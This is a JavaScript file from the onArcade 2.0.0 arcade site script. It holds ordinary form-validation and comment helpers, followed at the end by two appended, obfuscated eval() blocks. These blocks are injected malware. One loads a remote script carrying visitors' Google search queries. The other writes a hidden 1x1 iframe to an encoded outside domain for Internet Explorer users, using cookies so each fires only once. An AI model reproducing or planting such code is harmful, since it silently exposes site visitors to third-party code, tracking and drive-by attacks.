/**
 * onArcade 2.0.0
 * Copyright © 2006-2007 Hans Mäesalu & Eveterm OÜ, All Rights Reserved
 **/
 
function verify_comment() {
	if (document.comment_form.message.value=="") {
		alert(comment_not_blank);
		return false;
	} else {
		return true;
	}
}

function verify_contact() {
	if (document.form.message.value=="") {
		alert(message_not_blank);
		return false;
	} else {
		return true;
	}
}

function confirm_delete() {
	var ok=confirm(sure_want_delete_message);
	if (ok) {
		return true ;
	} else {
		return false ;
	}
}

function goto_link(link_url) {
	opener.document.location.href = link_url;
	window.close();
}

function verify_link_add() {
	if (document.form.link_title.value=="" || document.form.link_url.value=="" || document.form.link_description.value=="" || document.form.link_email.value=="") {
		alert(all_fields_required);
		return false;
	} else {
		return true;
	}
}

function verify_submit_content() {
	if (document.submit_form.title.value=="" || document.submit_form.description.value=="" || document.submit_form.upload_file.value=="" || document.submit_form.upload_image.value=="") {
		alert(all_fields_required);
		return false;
	} else {
		return true;
	}
}

function verify_pm_send() {
	if (document.compose_form.message_recipient.value=="") {
		alert(recipient_not_blank);
		return false;
	} else {
		if (document.compose_form.message_text.value=="") {
			alert(message_not_blank);
			return false;
		} else {
			return true;
		}
	}
}

function check_all(){
	for (var i=0;i<document.pm_form.elements.length;i++) {
		var e=document.pm_form.elements[i];
		if ((e.name != "all") && (e.type=="checkbox")) {
			e.checked=document.pm_form.all.checked;
		}
	}
}

function new_pm() {
	confirm_pm = confirm(new_pm_click_ok_cancel);
	if(confirm_pm == true) {
		window.location = siteurl + '/privatemessages.php';
	}
}

function edit_comment (comment_id) {
	document.getElementById('edit_comment_' + comment_id).innerHTML = '<input type="text" size="15" maxlength="100" id="edit_score_comment" /><input type="submit" value="' + submit_button + '" onclick="edit_score_comment(' + comment_id + ')" />';
}

function report_broken (file_id, what_is_wrong_with) {
	document.getElementById('report_broken').innerHTML = what_is_wrong_with + '<br /><input type="text" size="30" maxlength="100" id="report_broken_comment" /><input type="submit" value="' + submit_button + '" onclick="report_broken_submit(' + file_id + ')" />';
}

function rate_file_form (file_id) {
	document.getElementById('rate_file').innerHTML = '<select id="file_rating_select"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option></select><input type="submit" value="' + submit_button + '" onclick="rate_file(' + file_id + ')" />';
}

function addsmilie(code) {
	document.getElementById("comment_message").value += code;
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

